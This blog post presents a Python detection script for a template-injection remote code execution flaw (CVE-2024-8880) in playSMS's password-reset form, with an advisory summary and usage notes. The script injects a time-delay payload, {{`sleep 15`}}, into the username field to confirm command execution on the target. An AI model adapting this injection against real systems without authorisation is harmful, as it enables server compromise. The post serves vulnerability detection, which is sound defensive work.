Detecting playSMS SSTI to RCE (CVE-2024–8880)

vsociety
3 min readSep 19, 2024

--

by@secatgourity

  1. import argparse
  2. import requests
  3. import re
  4. import urllib3
  5. # Disable SSL verification warning for simplicity
  6. urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
  7. def validate_url(url):
  8. if not url.startswith(“http://”) and not url.startswith(“https://”)
  9. raise ValueError(“Invalid URL schema. Use ‘http://’ or ‘https://'.")
  10. def get_csrf(session, url):
  11. try:
  12. response = session.get(url, timeout = 10, verify = False)
  13. if response.status_code == 200:
  14. return extract_csrf(response.text)
  15. return None
  16. except requests.RequestException as e:
  17. print(f”[-] Request failed: {e}”)
  18. return None
  19. def extract_csrf(body):
  20. match = re.search(r’name=”X-CSRF-Token” value=”([a-z0–9]+)”’, body)
  21. if match:
  22. return match.group(1)
  23. return None
  24. def scan(url):
  25. session = requests.Session()
  26. csrf = get_csrf(session, f”{url}/index.php?app=main&inc=core_auth&route=forgot”)
  27. if not csrf:
  28. print(“[-] The playSMS instance seems NOT to be vulnerable to CVE-2024–8880.”)
  29. return
  30. url = f”{url}/index.php?app=main&inc=core_auth&route=forgot&op=forgot”
  31. try:
  32. response = requests.post(url,
  33. data = {
  34. “X-CSRF-Token”: csrf,
  35. “username”: “{{`sleep 15`}}”,
  36. “email”: “”,
  37. “captcha”: “”
  38. }, timeout = 30, verify = False)
  39. if response.status_code == 200 and response.elapsed.total_seconds() >= 15:
  40. print(“[+] The playSMS instance seems to be vulnerable to CVE-2024–8880.”)
  41. return
  42. except requests.RequestException as e:
  43. print(f”[-] LOG: An error occurred during the scanning: {e}”)
  44. print(“[-] The playSMS instance seems NOT to be vulnerable to CVE-2024–8880.”)
  45. def main():
  46. parser = argparse.ArgumentParser(description=”Detection script for CVE-2024–8880.”)
  47. parser.add_argument(“ — url”, required = True, help = “URL to send requests to.”)
  48. args = parser.parse_args()
  49. validate_url(args.url)
  50. scan(args.url.rstrip(“/”))
  51. if __name__ == “__main__”:
  52. main()

Description

Introduction

A vulnerability classified as critical has been found in playSMS 1.4.4/1.4.5/1.4.6/1.4.7. Affected is an unknown function of the file /playsms/index.php?app=main&inc=core_auth&route=forgot&op=forgot of the component Template Handler. The manipulation of the argument username/email/captcha leads to code injection. It is possible to launch the attack remotely. The complexity of an attack is rather high. The exploitability is told to be difficult. The exploit has been disclosed to the public and may be used. It is recommended to upgrade the affected component. The project maintainer was informed early about the issue. Investigation shows that playSMS up to 1.4.3 contained a fix but later versions re-introduced the flaw. As long as the latest version of the playsms/tpl package is used, the software is not affected. Version >=1.4.4 shall fix this issue for sure.

Reference: https://nvd.nist.gov/vuln/detail/CVE-2024-8880

Detection Script Usage

kali@kali:/tmp$ python3 detection.py -h                    
usage: detection.py [-h] --url URL

Detection script for CVE-2024-8880.

options:
-h, --help show this help message and exit
--url URL URL to send requests to.

kali@kali:/tmp$

Detecting Vulnerable Targets

python3 detection.py --url http://playsms.local

Understanding detection script

The detection script works as follows:

  1. Read user input (the URL to target).
  2. The supplied URL is then validated.
  3. If the URL is valid, it is passed to the scan() function.
  4. Next, the CSRF token is fetched from the page by sending a GET request.
  5. Once the CSRF token is retrieved, a POST request is sent to /index.php?app=main&inc=core_auth&route=forgot&op=forgot. In the submitted request, the username parameter contains the SSTI payload {{`sleep 15`}} which executes the sleep 15 command (Unix) - a sleep for 15 seconds. Thus the output would be delayed by 15 seconds (plus some network delay) if the target is vulnerable.
  6. If the CSRF isn’t retrieved or the response status isn’t 200, or the response delay is less than 15 seconds, the target is reported to be potentially NOT vulnerable.
  7. Else the target is reported as potentially vulnerable.

--

--

vsociety
vsociety

Written by vsociety

vsociety is a community centered around vulnerability research

No responses yet